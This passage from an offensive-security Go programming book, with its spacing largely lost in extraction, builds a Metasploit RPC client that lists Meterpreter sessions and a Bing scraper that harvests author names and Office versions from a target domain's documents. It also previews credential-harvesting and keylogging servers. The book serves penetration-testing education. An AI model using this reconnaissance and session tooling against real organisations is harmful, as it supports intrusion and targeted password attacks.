codeisabitmorecumbersome,sowe’llpurposelypareit backtothebareminimum—justenoughforyoutotakethe codeandextenditforyourspecificneeds. FollowthesameprojectroadmapastheShodanexample: reviewtheMetasploitAPI,layouttheprojectinlibrary format,definedatatypes,implementclientAPIfunctions,and, finally,buildatestrigthatusesthelibrary. First,reviewtheMetasploitAPIdeveloperdocumentation atRapid7’sofficialwebsite (https://metasploit.help.rapid7.com/docs/rpc-api/).The functionalityexposedisextensive,allowingyoutodojust aboutanythingremotelythatyoucouldthroughlocal interaction.UnlikeShodan,whichusesJSON,Metasploit communicatesusingMessagePack,acompactandefficient binaryformat.BecauseGodoesn’tcontainastandard MessagePackpackage,you’lluseafull-featuredcommunity 1 implementation.Installitbyexecutingthefollowingfromthe commandline: $gogetgopkg.in/vmihailenco/msgpack.v2 Inthecode,you’llrefertotheimplementationasmsgpack. Don’tworrytoomuchaboutthedetailsoftheMessagePack spec.You’llseeshortlythatyou’llneedtoknowverylittle aboutMessagePackitselftobuildaworkingclient.Goisgreat becauseithidesalotofthesedetails,allowingyoutoinstead focusonbusinesslogic.Whatyouneedtoknowarethebasics ofannotatingyourtypedefinitionsinordertomakethem “MessagePack-friendly.”Beyondthat,thecodetoinitiate encodinganddecodingisidenticaltootherformats,suchas JSONandXML. Next,createyourdirectorystructure.Forthisexample,you useonlytwoGofiles: $treegithub.com/blackhat-go/bhg/ch-3/metasploit-minimal github.com/blackhat-go/bhg/ch-3/metasploit-minimal |---client ||---main.go |---rpc |---msf.go Themsf.gofileresideswithintherpcpackage,andyou’ll useclient/main.gotoimplementandtestthelibraryyoubuild. DefiningYourObjective Now,youneedtodefineyourobjective.Forthesakeof brevity,implementthecodetointeractandissueanRPCcall thatretrievesalistingofcurrentMeterpretersessions—thatis, thesession.listmethodfromtheMetasploitdeveloper documentation.Therequestformatisdefinedasfollows: ["session.list","token"] Thisisminimal;itexpectstoreceivethenameofthe methodtoimplementandatoken.Thetokenvalueisa placeholder.Ifyoureadthroughthedocumentation,you’ll findthatthisisanauthenticationtoken,issueduponsuccessful logintotheRPCserver.Theresponsereturnedfrom Metasploitforthesession.listmethodfollowsthisformat: { "1"=>{ 'type'=>"shell", "tunnel_local"=>"192.168.35.149:44444", "tunnel_peer"=>"192.168.35.149:43886", "via_exploit"=>"exploit/multi/handler", "via_payload"=>"payload/windows/shell_reverse_tcp", "desc"=>"Commandshell", "info"=>"", "workspace"=>"Project1", "target_host"=>"", "username"=>"root", "uuid"=>"hjahs9kw", "exploit_uuid"=>"gcprpj2a", "routes"=>[] } } Thisresponseisreturnedasamap:theMeterpretersession identifiersarethekeys,andthesessiondetailisthevalue. Let’sbuildtheGotypestohandleboththerequestand responsedata.Listing3-13definesthesessionListReqand SessionListRes. ❶typesessionListReqstruct{ ❷_msgpackstruct{}`msgpack:",asArray"` Methodstring Tokenstring } ❸typeSessionListResstruct{ IDuint32`msgpack:",omitempty"`❹ Typestring`msgpack:"type"` TunnelLocalstring`msgpack:"tunnel_local"` TunnelPeerstring`msgpack:"tunnel_peer"` ViaExploitstring`msgpack:"via_exploit"` ViaPayloadstring`msgpack:"via_payload"` Descriptionstring`msgpack:"desc"` Infostring`msgpack:"info"` Workspacestring`msgpack:"workspace"` SessionHoststring`msgpack"session_host"` SessionPortint`msgpack"session_port"` Usernamestring`msgpack:"username"` UUIDstring`msgpack:"uuid"` ExploitUUIDstring`msgpack:"exploit_uuid"` } Listing3-13:Metasploitsessionlisttypedefinitions(/ch-3/metasploit- minimal/rpc/msf.go) Youusetherequesttype,sessionListReq❶,toserialize structureddatatotheMessagePackformatinamanner consistentwithwhattheMetasploitRPCserverexpects— specifically,withamethodnameandtokenvalue.Noticethat therearen’tanydescriptorsforthosefields.Thedataispassed asanarray,notamap,soratherthanexpectingdatain key/valueformat,theRPCinterfaceexpectsthedataasa positionalarrayofvalues.Thisiswhyyouomitannotations forthoseproperties—noneedtodefinethekeynames. However,bydefault,astructurewillbeencodedasamapwith thekeynamesdeducedfromthepropertynames.Todisable thisandforcetheencodingasapositionalarray,youadda specialfieldnamed_msgpackthatutilizestheasArraydescriptor ❷,toexplicitlyinstructanencoder/decodertotreatthedataas anarray. TheSessionListRestype❸containsaone-to-onemapping betweenresponsefieldandstructproperties.Thedata,as shownintheprecedingexampleresponse,isessentiallya nestedmap.Theoutermapisthesessionidentifiertosession details,whiletheinnermapisthesessiondetails,represented askey/valuepairs.Unliketherequest,theresponseisn’t structuredasapositionalarray,buteachofthestruct propertiesusesdescriptorstoexplicitlynameandmapthedata toandfromMetasploit’srepresentation.Thecodeincludesthe sessionidentifierasapropertyonthestruct.However,because theactualvalueoftheidentifieristhekeyvalue,thiswillbe populatedinaslightlydifferentmanner,soyouincludethe omitemptydescriptor❹tomakethedataoptionalsothatit doesn’timpactencodingordecoding.Thisflattensthedataso youdon’thavetoworkwithnestedmaps. RetrievingaValidToken Now,youhaveonlyonethingoutstanding.Youhaveto retrieveavalidtokenvaluetouseforthatrequest.Todoso, you’llissuealoginrequestfortheauth.login()APImethod, whichexpectsthefollowing: ["auth.login","username","password"] Youneedtoreplacetheusernameandpasswordvalueswith whatyouusedwhenloadingthemsfrpcmoduleinMetasploit duringinitialsetup(recallthatyousetthemasenvironment variables).Assumingauthenticationissuccessful,theserver respondswiththefollowingmessage,whichcontainsan authenticationtokenyoucanuseforsubsequentrequests. {"result"=>"success","token"=>"a1a1a1a1a1a1a1a1"} Anauthenticationfailureproducesthefollowingresponse: { "error"=>true, "error_class"=>"Msf::RPC::Exception", "error_message"=>"InvalidUserIDorPassword" } Forgoodmeasure,let’salsocreatefunctionalitytoexpire thetokenbyloggingout.Therequesttakesthemethodname, theauthenticationtoken,andathirdoptionalparameterthat you’llignorebecauseit’sunnecessaryforthisscenario: ["auth.logout","token","logoutToken"] Asuccessfulresponselookslikethis: {"result"=>"success"} DefiningRequestandResponseMethods MuchasyoustructuredtheGotypesforthesession.list() method’srequestandresponse,youneedtodothesamefor bothauth.login()andauth.logout()(seeListing3-14).Thesame reasoningappliesasbefore,usingdescriptorstoforcerequests tobeserializedasarraysandfortheresponsestobetreatedas maps: typeloginReqstruct{ _msgpackstruct{}`msgpack:",asArray"` Methodstring Usernamestring Passwordstring } typeloginResstruct{ Resultstring`msgpack:"result"` Tokenstring`msgpack:"token"` Errorbool`msgpack:"error"` ErrorClassstring`msgpack:"error_class"` ErrorMessagestring`msgpack:"error_message"` } typelogoutReqstruct{ _msgpackstruct{}`msgpack:",asArray"` Methodstring Tokenstring LogoutTokenstring } typelogoutResstruct{ Resultstring`msgpack:"result"` } Listing3-14:LoginandlogoutMetasploittypedefinition(/ch-3/metasploit- minimal/rpc/msf.go) It’sworthnotingthatGodynamicallyserializesthelogin response,populatingonlythefieldspresent,whichmeansyou canrepresentbothsuccessfulandfailedloginsbyusinga singlestructformat. CreatingaConfigurationStructandanRPC Method InListing3-15,youtakethedefinedtypesandactuallyuse them,creatingthenecessarymethodstoissueRPCcommands toMetasploit.MuchasintheShodanexample,youalsodefine anarbitrarytypeformaintainingpertinentconfigurationand authenticationinformation.Thatway,youwon’thaveto explicitlyandrepeatedlypassincommonelementssuchas host,port,andauthenticationtoken.Instead,you’llusethe typeandbuildmethodsonitsothatdataisimplicitly available. typeMetasploitstruct{ hoststring userstring passstring tokenstring } funcNew(host,user,passstring)*Metasploit{ msf:=&Metasploit{ host:host, user:user, pass:pass, } returnmsf } Listing3-15:Metasploitclientdefinition(/ch-3/metasploit-minimal/rpc/msf.go) Nowyouhaveastructand,forconvenience,afunction namedNew()thatinitializesandreturnsanewstruct. PerformingRemoteCalls YoucannowbuildmethodsonyourMetasploittypeinorderto performtheremotecalls.Topreventextensivecode duplication,inListing3-16,youstartbybuildingamethod thatperformstheserialization,deserialization,andHTTP communicationlogic.Thenyouwon’thavetoincludethis logicineveryRPCfunctionyoubuild. func(msf*Metasploit)send(reqinterface{},resinterface{})❶error{ buf:=new(bytes.Buffer) ❷msgpack.NewEncoder(buf).Encode(req) ❸dest:=fmt.Sprintf("http://%s/api",msf.host) r,err:=http.Post(dest,"binary/message-pack",buf)❹ iferr!=nil{ returnerr } deferr.Body.Close() iferr:=msgpack.NewDecoder(r.Body).Decode(&res)❺;err!=nil{ returnerr } returnnil } Listing3-16:Genericsend()methodwithreusableserializationanddeserialization (/ch-3/metasploit-minimal/rpc/msf.go) Thesend()methodreceivesrequestandresponseparameters oftypeinterface{}❶.Usingthisinterfacetypeallowsyouto passanyrequeststructintothemethod,andsubsequently serializeandsendtherequesttotheserver.Ratherthan explicitlyreturningtheresponse,you’llusetheresinterface{} parametertopopulateitsdatabywritingadecodedHTTP responsetoitslocationinmemory. Next,usethemsgpacklibrarytoencodetherequest❷.The logictodothismatchesthatofotherstandard,structureddata types:firstcreateanencoderviaNewEncoder()andthencallthe Encode()method.Thispopulatesthebufvariablewith MessagePack-encodedrepresentationoftherequeststruct. Followingtheencoding,youbuildthedestinationURLby usingthedatawithintheMetasploitreceiver,msf❸.Youusethat URLandissueaPOSTrequest,explicitlysettingthecontent typetobinary/message-packandsettingthebodytotheserialized data❹.Finally,youdecodetheresponsebody❺.Asalluded toearlier,thedecodeddataiswrittentothememorylocation oftheresponseinterfacethatwaspassedintothemethod.The encodinganddecodingofdataisdonewithouteverneedingto explicitlyknowtherequestorresponsestructtypes,making thisaflexible,reusablemethod. InListing3-17,youcanseethemeatofthelogicinallits glory. func(msf*Metasploit)Login()❶error{ ctx:=&loginReq{ Method:"auth.login", Username:msf.user, Password:msf.pass, } varresloginRes iferr:=msf.send(ctx,&res)❷;err!=nil{ returnerr } msf.token=res.Token returnnil } func(msf*Metasploit)Logout()❸error{ ctx:=&logoutReq{ Method:"auth.logout", Token:msf.token, LogoutToken:msf.token, } varreslogoutRes iferr:=msf.send(ctx,&res)❹;err!=nil{ returnerr } msf.token="" returnnil } func(msf*Metasploit)SessionList()❺(map[uint32]SessionListRes,error){ req:=&SessionListReq{Method:"session.list",Token:msf.token} ❻res:=make(map[uint32]SessionListRes) iferr:=msf.send(req,&res)❼;err!=nil{ returnnil,err } ❽forid,session:=rangeres{ session.ID=id res[id]=session } returnres,nil } Listing3-17:MetasploitAPIcallsimplementation(/ch-3/metasploit- minimal/rpc/msf.go) Youdefinethreemethods:Login()❶,Logout()❸,and SessionList()❺.Eachmethodusesthesamegeneralflow:create andinitializearequeststruct,createtheresponsestruct,and callthehelperfunction❷❹❼tosendtherequestandreceive thedecodedresponse.TheLogin()andLogout()methods manipulatethetokenproperty.Theonlysignificantdifference betweenmethodlogicappearsintheSessionList()method,where youdefinetheresponseasamap[uint32]SessionListRes❻andloop overthatresponsetoflattenthemap❽,settingtheIDproperty onthestructratherthanmaintainingamapofmaps. Rememberthatthesession.list()RPCfunctionrequiresavalid authenticationtoken,meaningyouhavetologinbeforethe SessionList()methodcallwillsucceed.Listing3-18usesthe Metasploitreceiverstructtoaccessatoken,whichisn’tavalid valueyet—it’sanemptystring.Sincethecodeyou’re developinghereisn’tfullyfeatured,youcouldjustexplicitly includeacalltoyourLogin()methodfromwithintheSessionList() method,butforeachadditionalauthenticatedmethodyou implement,you’dhavetocheckfortheexistenceofavalid authenticationtokenandmakeanexplicitcalltoLogin().This isn’tgreatcodingpracticebecauseyou’dspendalotoftime repeatinglogicthatyoucouldwrite,say,aspartofa bootstrappingprocess. You’vealreadyimplementedafunction,New(),designedto beusedforbootstrapping,sopatchupthatfunctiontosee whatanewimplementationlookslikewhenincluding authenticationaspartoftheprocess(seeListing3-18). funcNew(host,user,passstring)(*Metasploit,error)❶{ msf:=&Metasploit{ host:host, user:user, pass:pass, } iferr:=msf.Login()❷;err!=nil{ returnnil,err } returnmsf,nil } Listing3-18:InitializingtheclientwithembeddingMetasploitlogin(/ch- 3/metasploit-minimal/rpc/msf.go) Thepatched-upcodenowincludesanerroraspartofthe returnvalueset❶.Thisistoalertonpossibleauthentication failures.Also,addedtothelogicisanexplicitcalltotheLogin() method❷.AslongastheMetasploitstructisinstantiatedusing thisNew()function,yourauthenticatedmethodcallswillnow haveaccesstoavalidauthenticationtoken. CreatingaUtilityProgram Nearingtheendofthisexample,yourlasteffortistocreate theutilityprogramthatimplementsyourshinynewlibrary. EnterthecodeinListing3-19intoclient/main.go,runit,and watchthemagichappen. packagemain import( "fmt" "log" "github.com/blackhat-go/bhg/ch-3/metasploit-minimal/rpc" ) funcmain(){ host:=os.Getenv("MSFHOST") pass:=os.Getenv("MSFPASS") user:="msf" ifhost==""||pass==""{ log.Fatalln("MissingrequiredenvironmentvariableMSFHOSTor MSFPASS") } msf,err:=rpc.New(host,user,pass)❶ iferr!=nil{ log.Panicln(err) } ❷defermsf.Logout() sessions,err:=msf.SessionList()❸ iferr!=nil{ log.Panicln(err) } fmt.Println("Sessions:") ❹for_,session:=rangesessions{ fmt.Printf("%5d%s\n",session.ID,session.Info) } } Listing3-19:Consumingourmsfrpcpackage(/ch-3/metasploit- minimal/client/main.go) First,bootstraptheRPCclientandinitializeanewMetasploit struct❶.Remember,youjustupdatedthisfunctiontoperform authenticationduringinitialization.Next,ensureyoudoproper cleanupbyissuingadeferredcalltotheLogout()method❷. Thiswillrunwhenthemainfunctionreturnsorexits.Youthen issueacalltotheSessionList()method❸anditerateoverthat responsetolistouttheavailableMeterpretersessions❹. Thatwasalotofcode,butfortunately,implementingother APIcallsshouldbesubstantiallylessworksinceyou’lljustbe definingrequestandresponsetypesandbuildingthelibrary methodtoissuetheremotecall.Here’ssampleoutput produceddirectlyfromourclientutility,showingone establishedMeterpretersession: $gorunmain.go Sessions: 1WIN-HOME\jsmith@WIN-HOME Thereyouhaveit.You’vesuccessfullycreatedalibrary andclientutilitytointeractwitharemoteMetasploitinstance toretrievetheavailableMeterpretersessions.Next,you’ll ventureintosearchengineresponsescrapinganddocument metadataparsing. PARSINGDOCUMENTMETADATA WITHBINGSCRAPING WITHBINGSCRAPING AswestressedintheShodansection,relativelybenign information—whenviewedinthecorrectcontext—canprove tobecritical,increasingthelikelihoodthatyourattackagainst anorganizationsucceeds.Informationsuchasemployee names,phonenumbers,emailaddresses,andclientsoftware versionsareoftenthemosthighlyregardedbecausethey provideconcreteoractionableinformationthatattackerscan directlyexploitorusetocraftattacksthataremoreeffective andhighlytargeted.Onesuchsourceofinformation, popularizedbyatoolnamedFOCA,isdocumentmetadata. Applicationsstorearbitraryinformationwithinthe structureofafilesavedtodisk.Insomecases,thiscaninclude geographicalcoordinates,applicationversions,operating systeminformation,andusernames.Betteryet,searchengines containadvancedqueryfiltersthatallowyoutoretrieve specificfilesforanorganization.Theremainderofthis chapterfocusesonbuildingatoolthatscrapes—orasmy lawyercallsit,indexes—Bingsearchresultstoretrievea targetorganization’sMicrosoftOfficedocuments, subsequentlyextractingrelevantmetadata. SettingUptheEnvironmentandPlanning Beforedivingintothespecifics,we’llstartbystatingthe objectives.First,you’llfocussolelyonOfficeOpenXML documents—thoseendinginxlsx,docx,pptx,andsoon. AlthoughyoucouldcertainlyincludelegacyOfficedatatypes, thebinaryformatsmakethemexponentiallymore complicated,increasingcodecomplexityandreducing readability.ThesamecanbesaidforworkingwithPDFfiles. Also,thecodeyoudevelopwon’thandleBingpagination, insteadonlyparsinginitialpagesearchresults.Weencourage youtobuildthisintoyourworkingexampleandexplorefile typesbeyondOpenXML. WhynotjustusetheBingSearchAPIsforbuildingthis, ratherthandoingHTMLscraping?Becauseyoualreadyknow howtobuildclientsthatinteractwithstructuredAPIs.There arepracticalusecasesforscrapingHTMLpages,particularly whennoAPIexists.Ratherthanrehashingwhatyoualready know,we’lltakethisasanopportunitytointroduceanew methodofextractingdata.You’lluseanexcellentpackage, goquery,whichmimicsthefunctionalityofjQuery,aJavaScript librarythatincludesanintuitivesyntaxtotraverseHTML documentsandselectdatawithin.Startbyinstallinggoquery: $gogetgithub.com/PuerkitoBio/goquery Fortunately,that’stheonlyprerequisitesoftwareneededto completethedevelopment.You’llusestandardGopackages tointeractwithOpenXMLfiles.Thesefiles,despitetheirfile typesuffix,areZIParchivesthat,whenextracted,contain XMLfiles.Themetadataisstoredintwofileswithinthe docPropsdirectoryofthearchive: $unziptest.xlsx $tree --snip-- |---docProps ||---app.xml ||---core.xml --snip— Thecore.xmlfilecontainstheauthorinformationaswellas modificationdetails.It’sstructuredasfollows: <?xmlversion="1.0"encoding="UTF-8"standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata /core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <dc:creator>DanKottmann</dc:creator>❶ <cp:lastModifiedBy>DanKottmann</cp:lastModifiedBy>❷ <dcterms:created xsi:type="dcterms:W3CDTF">2016-12-06T18:24:42Z</dcterms:created> <dcterms:modified xsi:type="dcterms:W3CDTF">2016-12-06T18:25:32Z</dcterms:modified> </cp:coreProperties> Thecreator❶andlastModifiedBy❷elementsareofprimary interest.Thesefieldscontainemployeeorusernamesthatyou canuseinasocial-engineeringorpassword-guessing campaign. Theapp.xmlfilecontainsdetailsabouttheapplicationtype andversionusedtocreatetheOpenXMLdocument.Here’s itsstructure: <?xmlversion="1.0"encoding="UTF-8"standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"> <Application>MicrosoftExcel</Application>❶ <DocSecurity>0</DocSecurity> <ScaleCrop>false</ScaleCrop> <HeadingPairs> <vt:vectorsize="2"baseType="variant"> <vt:variant> <vt:lpstr>Worksheets</vt:lpstr> </vt:variant> <vt:variant> <vt:i4>1</vt:i4> </vt:variant> </vt:vector> </HeadingPairs> <TitlesOfParts> <vt:vectorsize="1"baseType="lpstr"> <vt:lpstr>Sheet1</vt:lpstr> </vt:vector> </TitlesOfParts> <Company>ACME</Company>❷ <LinksUpToDate>false</LinksUpToDate> <SharedDoc>false</SharedDoc> <HyperlinksChanged>false</HyperlinksChanged> <AppVersion>15.0300</AppVersion>❸ </Properties> You’reprimarilyinterestedinjustafewofthoseelements: Application❶,Company❷,andAppVersion❸.Theversionitself doesn’tobviouslycorrelatetotheOfficeversionname,suchas Office2013,Office2016,andsoon,butalogicalmapping doesexistbetweenthatfieldandthemorereadable, commonlyknownalternative.Thecodeyoudevelopwill maintainthismapping. DefiningthemetadataPackage InListing3-20,definetheGotypesthatcorrespondtothese XMLdatasetsinanewpackagenamedmetadataandputthe codeinafilenamedopenxml.go—onetypeforeachXMLfile youwishtoparse.Thenaddadatamappingandconvenience functionfordeterminingtherecognizableOfficeversionthat correspondstotheAppVersion. typeOfficeCorePropertystruct{ XMLNamexml.Name`xml:"coreProperties"` Creatorstring`xml:"creator"` LastModifiedBystring`xml:"lastModifiedBy"` } typeOfficeAppPropertystruct{ XMLNamexml.Name`xml:"Properties"` Applicationstring`xml:"Application"` Companystring`xml:"Company"` Versionstring`xml:"AppVersion"` } varOfficeVersions❶=map[string]string{ "16":"2016", "15":"2013", "14":"2010", "12":"2007", "11":"2003", } func(a*OfficeAppProperty)GetMajorVersion()❷string{ tokens:=strings.Split(a.Version,".")❸ iflen(tokens)<2{ return"Unknown" } v,ok:=OfficeVersions❹[tokens[0]] if!ok{ return"Unknown" } returnv } Listing3-20:OpenXMLtypedefinitionandversionmapping(/ch-3/bing- metadata/metadata/openxml.go) AfteryoudefinetheOfficeCorePropertyandOfficeAppProperty types,defineamap,OfficeVersions,thatmaintainsarelationship ofmajorversionnumberstorecognizablereleaseyears❶.To usethismap,defineamethod,GetMajorVersion(),onthe OfficeAppPropertytype❷.ThemethodsplitstheXMLdata’s AppVersionvaluetoretrievethemajorversionnumber❸, subsequentlyusingthatvalueandtheOfficeVersionsmapto retrievethereleaseyear❹. MappingtheDatatoStructs Nowthatyou’vebuiltthelogicandtypestoworkwithand inspecttheXMLdataofinterest,youcancreatethecodethat readstheappropriatefilesandassignsthecontentstoyour structs.Todothis,defineNewProperties()andprocess()functions, asshowninListing3-21. funcNewProperties(r*zip.Reader)(*OfficeCoreProperty,*OfficeAppProperty, error){❶ varcorePropsOfficeCoreProperty varappPropsOfficeAppProperty for_,f:=ranger.File{❷ switchf.Name{❸ case"docProps/core.xml": iferr:=process(f,&coreProps)❹;err!=nil{ returnnil,nil,err } case"docProps/app.xml": iferr:=process(f,&appProps)❺;err!=nil{ returnnil,nil,err } default: continue } } return&coreProps,&appProps,nil } funcprocess(f*zip.File,propinterface{})error{❻ rc,err:=f.Open() iferr!=nil{ returnerr } deferrc.Close() iferr:=❼xml.NewDecoder(rc).Decode(&prop);err!=nil{ returnerr } returnnil } Listing3-21:ProcessingOpenXMLarchivesandembeddedXMLdocuments(/ch- 3/bing-metadata/metadata/openxml.go) TheNewProperties()functionacceptsa*zip.Reader,which representsanio.ReaderforZIParchives❶.Usingthezip.Reader instance,iteratethroughallthefilesinthearchive❷, checkingthefilenames❸.Ifafilenamematchesoneofthe twopropertyfilenames,calltheprocess()function❹❺,passing inthefileandthearbitrarystructuretypeyouwishtopopulate —eitherOfficeCorePropertyorOfficeAppProperty. Theprocess()functionacceptstwoparameters:a*zip.Fileand aninterface{}❻.SimilartotheMetasploittoolyoudeveloped, thiscodeacceptsagenericinterface{}typetoallowforthefile contentstobeassignedintoanydatatype.Thisincreasescode reusebecausethere’snothingtype-specificwithintheprocess() function.Withinthefunction,thecodereadsthecontentsof thefileandunmarshalstheXMLdataintothestruct❼. SearchingandReceivingFileswithBing Younowhaveallthecodenecessarytoopen,read,parse,and extractOfficeOpenXMLdocuments,andyouknowwhatyou needtodowiththefile.Now,youneedtofigureouthowto searchforandretrievefilesbyusingBing.Here’stheplanof actionyoushouldfollow: 1. SubmitasearchrequesttoBingwithproperfilterstoretrievetargetedresults. 2. ScrapetheHTMLresponse,extractingtheHREF(link)datatoobtaindirect URLsfordocuments. 3. SubmitanHTTPrequestforeachdirectdocumentURL 4. Parsetheresponsebodytocreateazip.Reader 5. Passthezip.Readerintothecodeyoualreadydevelopedtoextractmetadata. Thefollowingsectionsdiscusseachofthesestepsinorder. Thefirstorderofbusinessistobuildasearchquery template.MuchlikeGoogle,Bingcontainsadvancedquery parametersthatyoucanusetofiltersearchresultson numerousvariables.Mostofthesefiltersaresubmittedina filter_type:valueformat.Withoutexplainingalltheavailablefilter types,let’sinsteadfocusonwhathelpsyouachieveyourgoal. Thefollowinglistcontainsthethreefiltersyou’llneed.Note thatyoucoulduseadditionalfilters,butatthetimeofthis writing,theybehavesomewhatunpredictably. siteUsedtofiltertheresultstoaspecificdomain filetypeUsedtofiltertheresultsbasedoffresourcefiletype instreamsetUsedtofiltertheresultstoincludeonlycertain fileextensions Anexamplequerytoretrievedocxfilesfromnytimes.com wouldlooklikethis: site:nytimes.com&&filetype:docx&&instreamset:(urltitle):docx Aftersubmittingthatquery,takeapeekattheresulting URLinyourbrowser.ItshouldresembleFigure3-1. Additionalparametersmayappearafterthis,butthey’re inconsequentialforthisexample,soyoucanignorethem. NowthatyouknowtheURLandparameterformat,you canseetheHTMLresponse,butfirstyouneedtodetermine whereintheDocumentObjectModel(DOM)thedocument linksreside.Youcandothisbyviewingthesourcecode directly,orlimittheguessworkandjustuseyourbrowser’s developertools.ThefollowingimageshowsthefullHTML elementpathtothedesiredHREF.Youcanusetheelement inspector,asinFigure3-1,toquicklyselectthelinktoreveal itsfullpath. Figure3-1:Abrowserdevelopertoolshowingthefullelementpath Withthatpathinformation,youcanusegoqueryto systematicallypullalldataelementsthatmatchanHTML path.Enoughtalk!Listing3-22putsitalltogether:retrieving, scraping,parsing,andextracting.Savethiscodetomain.go. ❶funchandler(iint,s*goquery.Selection){ url,ok:=s.Find("a").Attr("href")❷ if!ok{ return } fmt.Printf("%d:%s\n",i,url) res,err:=http.Get(url)❸ iferr!=nil{ return } buf,err:=ioutil.ReadAll(res.Body)❹ iferr!=nil{ return } deferres.Body.Close() r,err:=zip.NewReader(bytes.NewReader(buf)❺,int64(len(buf))) iferr!=nil{ return } cp,ap,err:=metadata.NewProperties(r)❻ iferr!=nil{ return } log.Printf( "%25s%25s-%s%s\n", cp.Creator, cp.LastModifiedBy, ap.Application, ap.GetMajorVersion()) } funcmain(){ iflen(os.Args)!=3{ log.Fatalln("Missingrequiredargument.Usage:main.godomainext") } domain:=os.Args[1] filetype:=os.Args[2] ❼q:=fmt.Sprintf( "site:%s&&filetype:%s&&instreamset:(urltitle):%s", domain, filetype, filetype) ❽search:=fmt.Sprintf("http://www.bing.com/search?q=%s", url.QueryEscape(q)) doc,err:=goquery.NewDocument(search)❾ iferr!=nil{ log.Panicln(err) } s:="htmlbodydiv#b_contentol#b_resultsli.b_algodiv.b_titleh2" ❿doc.Find(s).Each(handler) } Listing3-22:ScrapingBingresultsandparsingdocumentmetadata(/ch-3/bing- metadata/client/main.go) Youcreatetwofunctions.Thefirst,handler(),acceptsa goquery.Selectioninstance❶(inthiscase,itwillbepopulated withananchorHTMLelement)andfindsandextractsthehref attribute❷.Thisattributecontainsadirectlinktothe documentreturnedfromtheBingsearch.UsingthatURL,the codethenissuesaGETrequesttoretrievethedocument❸. Assumingnoerrorsoccur,youthenreadtheresponsebody ❹,leveragingittocreateazip.Reader❺.Recallthatthe functionyoucreatedearlierinyourmetadatapackage, NewProperties(),expectsazip.Reader.Nowthatyouhavethe appropriatedatatype,passittothatfunction❻,and propertiesarepopulatedfromthefileandprintedtoyour screen. Themain()functionbootstrapsandcontrolsthewhole process;youpassitthedomainandfiletypeascommandline arguments.Thefunctionthenusesthisinputdatatobuildthe Bingquerywiththeappropriatefilters❼.Thefilterstringis encodedandusedtobuildthefullBingsearchURL❽.The searchrequestissentusingthegoquery.NewDocument()function, whichimplicitlymakesanHTTPGETrequestandreturnsa goquery-friendlyrepresentationoftheHTMLresponse document❾.Thisdocumentcanbeinspectedwithgoquery. Finally,usetheHTMLelementselectorstringyouidentified withyourbrowserdevelopertoolstofindanditerateover matchingHTMLelements❿.Foreachmatchingelement,a callismadetoyourhandler()function. Asamplerunofthecodeproducesoutputsimilartothe following: $gorunmain.gonytimes.comdocx 0: http://graphics8.nytimes.com/packages/pdf/2012NAIHSAnnualHIVReport041713.docx 2020/12/2111:53:50JonathanV.IraluDanFrosch-MicrosoftMacintosh Word2010 1:http://www.nytimes.com/packages/pdf/business/Announcement.docx 2020/12/2111:53:51agouseragouser-MicrosoftOfficeOutlook2007 2:http://www.nytimes.com/packages/pdf/business/DOCXIndictment.docx 2020/12/2111:53:51AGOGonder,Nanci-MicrosoftOfficeWord 2007 3:http://www.nytimes.com/packages/pdf/business/BrownIndictment.docx 2020/12/2111:53:51AGOGonder,Nanci-MicrosoftOfficeWord 2007 4:http://graphics8.nytimes.com/packages/pdf/health/Introduction.docx 2020/12/2111:53:51Oberg,AmandaMKarenBarrow-Microsoft MacintoshWord2010 Youcannowsearchforandextractdocumentmetadatafor allOpenXMLfileswhiletargetingaspecificdomain.I encourageyoutoexpandonthisexampletoincludelogicto navigatemultipageBingsearchresults,toincludeotherfile typesbeyondOpenXML,andtoenhancethecodeto concurrentlydownloadtheidentifiedfiles. SUMMARY ThischapterintroducedtoyoufundamentalHTTPconceptsin Go,whichyouusedtocreateusabletoolsthatinteractedwith remoteAPIs,aswellastoscrapearbitraryHTMLdata.Inthe nextchapter,you’llcontinuewiththeHTTPthemebylearning tocreateserversratherthanclients. 4 HTTPSERVERS,ROUTING,AND MIDDLEWARE IfyouknowhowtowriteHTTPserversfromscratch,youcan createcustomizedlogicforsocialengineering,command-and- control(C2)transports,orAPIsandfrontendsforyourown tools,amongotherthings.Luckily,Gohasabrilliantstandard package—net/http—forbuildingHTTPservers;it’sreallyall youneedtoeffectivelywritenotonlysimpleservers,butalso complex,full-featuredwebapplications. Inadditiontothestandardpackage,youcanleveragethird- partypackagestospeedupdevelopmentandremovesomeof thetediousprocesses,suchaspatternmatching.These packageswillassistyouwithrouting,buildingmiddleware, validatingrequests,andothertasks. Inthischapter,you’llfirstexploremanyofthetechniques neededtobuildHTTPserversusingsimpleapplications.Then you’lldeploythesetechniquestocreatetwosocialengineering applications—acredential-harvestingserverandakeylogging server—andmultiplexC2channels. HTTPSERVERBASICS Inthissection,you’llexplorethenet/httppackageanduseful third-partypackagesbybuildingsimpleservers,routers,and middleware.We’llexpandonthesebasicstocovermore nefariousexampleslaterinthechapter. BuildingaSimpleServer ThecodeinListing4-1startsaserverthathandlesrequeststo asinglepath.(Allthecodelistingsattherootlocationof/ existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.)Theservershouldlocate thenameURLparametercontainingauser’snameandrespond withacustomizedgreeting. packagemain import( "fmt" "net/http" ) funchello(whttp.ResponseWriter,r*http.Request){ fmt.Fprintf(w,"Hello%s\n",r.URL.Query().Get("name")) } funcmain(){ ❶http.HandleFunc("/hello",hello) ❷http.ListenAndServe(":8000",nil) } Listing4-1:AHelloWorldserver(/ch-4/hello_world/main.go) Thissimpleexampleexposesaresourceat/hello.The resourcegrabstheparameterandechoesitsvaluebacktothe client.Withinthemain()function,http.HandleFunc()❶takestwo arguments:astring,whichisaURLpathpatternyou’re instructingyourservertolookfor,andafunction,whichwill actuallyhandletherequest.Youcouldprovidethefunction definitionasananonymousinlinefunction,ifyouwant.Inthis example,youpassinthefunctionnamedhello()thatyou definedearlier. Thehello()functionhandlesrequestsandreturnsahello messagetotheclient.Ittakestwoargumentsitself.Thefirstis http.ResponseWriter,whichisusedtowriteresponsestothe request.Thesecondargumentisapointertohttp.Request,which willallowyoutoreadinformationfromtheincomingrequest. Notethatyouaren’tcallingyourhello()functionfrommain(). 